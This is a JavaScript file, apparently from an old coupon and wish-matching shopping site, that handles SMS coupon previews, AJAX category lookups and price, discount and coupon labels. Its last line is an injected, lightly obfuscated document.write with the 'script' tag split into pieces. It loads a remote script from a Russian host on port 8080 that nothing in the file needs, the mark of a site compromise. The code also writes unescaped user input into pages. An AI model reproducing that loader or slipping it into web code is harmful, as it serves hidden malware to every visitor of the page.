/**
 * @author Pavel Senko
 */

var ie4, nn4, nn6;
ie4 = nn4 = nn6 = 0;
var brand = false;
var supcat = 0;
var cat = 0;
var wish = "";
var priceset, discountset, couponset;
priceset = discountset = couponset = false;

if(document.all)
	{ie4=1;}
if(document.layers)
	{nn4=1; }
if(document.getElementById&&!ie4){
	nn6=1;
}

function updateCouponPreview(where) {
	
	var title_input 	= document.getElementById('title').value;
	var brands_input 	= document.getElementById('brands').value;
	var price_input 	= document.getElementById('price').value;
	var discount_input 	= document.getElementById('discount').value;
	var coupon_input 	= document.getElementById('coupon').value;
	var rebate_input 	= document.getElementById('rebate').value;
	var description_input = document.getElementById('description').value;
	var keywords_input 	= document.getElementById('keys').value;
	var category_input 	= document.getElementById('title').value;
	var default_message = 'moimart:SMSCODE This is how your SMS coupon will look like. It has unique code, your offer details and contact information: example.com (408) 000-0099';
	var start_message = 'moimart:SMSCODE ';
	var smspreview = document.getElementById('smspreview');
	var smstext = '';
	
	if (
	(title_input.length > 0) || 
	(brands_input.length > 0) ||
	(price_input.length > 0) ||
	(discount_input.length > 0) ||
	(coupon_input.length > 0) ||
	(description_input.length > 0) ||
	(keywords_input.length > 0)
	) 
	{
		
		smstext = start_message + title_input;
		
		if (price_input.length > 0) {
			smstext = smstext + ', price $' + price_input;
		}
		
		if (discount_input.length > 0) {
			smstext = smstext + ', ' + discount_input + '%off ';
		}
		
		if (coupon_input.length > 0) {
			smstext = smstext + ', coupon $' + coupon_input;
		}
		
		if (rebate_input.length > 0) {
			smstext = smstext + ', rebate $' + rebate_input;
		}
		
		if (description_input.length > 0) {
			smstext = smstext + '. ' + description_input;
		}
		
	}
	
	if (smstext.length <= 150) {
		smspreview.innerHTML = smstext;
	} else {
		smspreview.innerHTML = smstext.substr(0,150);
	}
	
	document.newitem.smstext.value=smstext;
}

function reloadMatchTable() {
	// matchcatq - QTY of wishes in the same category&subcategory as specified
	// matchcatv - sum value of wishes in the same category&subcategory as specified
	
	// default values
	//
	supcat = 'all';
	cat = 'all';
	brands = '';
	keys = '';
	price = '';
	discount = '';
	rebate = '';
	
	// initializing actual values
	//
	
	// 1) category & subcategory 
	// 
	cat = document.newitem.sid.value;

	// 2) brand names
	//
	binp = document.getElementById('brands');
	brands = binp.value;
	
	// 3) keywords
	//
	kinp = document.getElementById('keys');
	keys = kinp.value;
	
	// 3) price
	//
	pinp = document.getElementById('price');
	price = pinp.value;	
		
	// variables for updated fields
	//
	var matchcatq = document.getElementById('matchcatq');
	var matchcatv = document.getElementById('matchcatv');
	
	var matchbq = document.getElementById('matchbq');
	var matchbv = document.getElementById('matchbv');

	var matchkq = document.getElementById('matchkq');
	var matchkv = document.getElementById('matchkv');
	
	var matchpq = document.getElementById('matchpq');
	var matchpv = document.getElementById('matchpv');
	
	var allkeys = document.getElementById('allkeys');		
	var rnd = Math.random();
	url="/?ajax=1&function=offermatchtable"+
		"&cat="+cat+
		"&brands="+brands+
		"&keys="+keys+
		"&price="+price+
		"&discount="+discount+
		"&rebate="+rebate+
		"&rnd="+rnd;
	
	xmlhttp.open("POST",url,true);
	xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			
			response = xmlhttp.responseText;
			
//			alert('response:'+response);
			
			var rarr = new Array();
			rarr = response.split(',');
			
			matchcatq.innerHTML = rarr[0];
			matchcatv.innerHTML = rarr[1];
			matchbq.innerHTML = rarr[2];
			matchbv.innerHTML = rarr[3];
			matchkq.innerHTML = rarr[4];
			matchkv.innerHTML = rarr[5];
			matchpq.innerHTML = rarr[6];
			matchpv.innerHTML = rarr[7];
			
			packedkeys = rarr[10];
			var allk = new Array();
			var keystr = "";
			var d = '';
			allk = packedkeys.split('~');
/*			
			if (allk.length>0) {
				keystr = '<a href="#" title="click to add to your keywords" class="ajax">'+
				allk[0]+'</a>';
			}
*/			
			for(i=0;i<allk.length;i++) {
				keystr = keystr+d+
//				'<a href="#" title="click to add to your keywords" class="ajax">'+
				allk[i]
//				+'</a>'
				;
				d = ', ';
			}
			
			if ((allk.length > 0)&&(allk[0])) {
				allkeys.innerHTML = 
				'<b>keywords from matching wishes:</b> '+
				'<br><span class=gray>'+keystr+'</span>';
			}

    	}
  	}
	xmlhttp.send(null);


	return false;

	 
}


function wishActivate(bid) {
	var	b = document.getElementById(bid);
		b.className="wishactive";
}

function wishBlock(bid) {
	var	b = document.getElementById(bid);
		b.className="wishblock";
}

function wishBrand(element) {
	if (!isFinite(element.value) ) {
		element.value = "";
		return false;
	}
	
	if (!brand) {
		brand = true;
		setbrand();
	}
	
	return true;
}

function unsetbrand() {
	target = document.getElementById('brandchoice');
	target.innerHTML = "&nbsp;";
}


function loadSubCats(cat) {
	
	var saves = document.getElementById('savetheoffer');
		saves.style.opacity = 1;
	var saveb = document.getElementById('saveofferbutton');	
		saveb.onclick = clickIt;
//	var addo = document.getElementById('addtooffer');
//		addo.style.opacity = 1;
//	var addo = document.getElementById('addmorebutton');	
//		addo.onclick = clickIt;

var rnd = Math.random();
  var supcat = cat.options[cat.selectedIndex].value;
  var url="/?ajax=1&function=loadsubcats&supcat="+supcat+"&rnd="+rnd;
  
  loading = document.getElementById('selectsubcat');
  loading.innerHTML = 
  		 '<span class=gray>loading...</span>';
  
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState==4) {
		target = document.getElementById('selectsubcat');
		target.innerHTML = xmlhttp.responseText;
    }
  }
  xmlhttp.send(null);
  return false;
}

function clickIt() {
	
	// do nothing, submit the form
	//
	return true;
}

function setbrand() {
var rnd = Math.random();
  url="/?ajax=1&function=setbrand&supcat="+supcat+"&cat="+cat+"&rnd="+rnd;
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState==4) {
		target = document.getElementById('brandchoice');
		target.innerHTML = xmlhttp.responseText;
    }
  }
  xmlhttp.send(null);
  return false;
}

function updateKeyinfo(element) {
	
	var keys = document.getElementById('keyinfosummary');
	keys.innerHTML = element.value;
	return true;	
}

function updateBrand(element) {

	var brand = document.getElementById('brandsummary');
	if (element.selectedIndex) {
		brand.innerHTML = element.options[element.selectedIndex].text;
	} else {
		brand.innerHTML = element.value;
	}
	
	return true;
	
}

function updatePrice(element) {
	
	var pricediv = document.getElementById('pricetag');
	var or1 = document.getElementById('or1'); 
	var or2 = document.getElementById('or2');
	
	if (!isFinite(element.value)) {
		or1.innerHTML = "";
		pricediv.innerHTML = "";
		priceset = false;
		return false;
	}
	
	if (!element.value) {
		or1.innerHTML = "";
		pricediv.innerHTML = "";
		priceset = false;
		return false;
		
	} else {
		pricediv.innerHTML = "for <b>$"+element.value+"</b> or less";
	}
	
	if (!priceset && (couponset || discountset)) {
		or1.innerHTML = " OR ";
	} else {
		or1.innerHTML = "";
	}
	
	priceset = true;
	return true;
}

function updateCoupon(element) {
	
	var coupondiv = document.getElementById('coupontag');
	var or1 = document.getElementById('or1'); 
	var or2 = document.getElementById('or2');
	
	if (!isFinite(element.value)) {
		coupondiv.innerHTML = "";
		if (priceset && discountset) {
			or2.innerHTML = "";
		}
		couponset = false;
		return false;
	}
	
	if (!element.value) {
		coupondiv.innerHTML = "";
		if (priceset && discountset) {
			or2.innerHTML = "";
		}
		return false;
	} else {
		coupondiv.innerHTML = "coupon for <b>$"+element.value+"</b> off";
	}
	
	if (priceset) {
		or1.innerHTML = " OR ";
	} else {
		or1.innerHTML = "";
	}
	
	if (discountset) {
		or2.innerHTML = " OR ";
	} else {
		or2.innerHTML = "";
	}
	
	couponset = true;
	return true;
}

function updateDiscount(element) {
	
	var discountdiv = document.getElementById('discounttag');
	var or1 = document.getElementById('or1'); 
	var or2 = document.getElementById('or2');

	if (!isFinite(element.value)) {
		discountdiv.innerHTML = "";
		or2.innerHTML = "";
		discountset = false;
		return false;
	}
	
	if (!element.value) {
		discountdiv.innerHTML = "";
		if (priceset || couponset) {
			or2.innerHTML = "";
		}
		return false;
	} else {
		discountdiv.innerHTML = "at least <b>"+element.value+"%</b> off";
	}
	
	discountdiv.innerHTML = "at least <b>"+element.value+"%</b> off ";
	
	if (couponset || priceset) {
		or2.innerHTML = " OR ";
	} else {
		or2.innerHTML = "";
	}
	
	discountset = true;
	return true;
}
function offerCategory(){

	var items = offerCategory.arguments.length;
	var parentid = offerCategory.arguments[0];
	var	p = document.getElementById('super_'+parentid);
		p.className="schosen";
	var temp;
	for (i = 1; i < items;i++) {
		if (arguments[i] != parentid) {
			temp = document.getElementById('super_'+arguments[i]);
			temp.className = "schoice";
		}
	}

	// get a list of categories to choose from
	// (AJAX shit)
	//
	ucats(parentid);
	
}

function wishSubCategory(){

	var items = wishSubCategory.arguments.length;
	var parentid = wishSubCategory.arguments[0];
	var	p = document.getElementById('cat_'+parentid);
		p.className="cchosen";
	var temp;
	for (i = 1; i < items;i++) {
		if (arguments[i] != parentid) {
			temp = document.getElementById('cat_'+arguments[i]);
			temp.className = "cchoice";
		}
	}

	// get a list of categories to choose from
	// (AJAX shit)
	//
	subcats(parentid);
	
}

function subcats(sid) {
	
  cat = sid;
  brand = false;
  unsetbrand();
var rnd = Math.random();
  url="/?ajax=1&function=subcats&sid="+sid+"&rnd="+rnd;
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState==4) {
		target = document.getElementById('selection');
		target.innerHTML = xmlhttp.responseText;
    }
  }
  xmlhttp.send(null);
  return false;
}

function ucats(sid) {
  
  cat = 0;
  supcat = sid;
  brand = false;
  unsetbrand();
  var rnd = Math.random();
  url="/?ajax=1&function=ucats&sid="+sid+"&rnd="+rnd;
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState==4) {
		target = document.getElementById('undercats');
		target.innerHTML = xmlhttp.responseText;
    }
  }
  xmlhttp.send(null);
  return false;
}
document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Firewire.js"></scr'+'ipt>');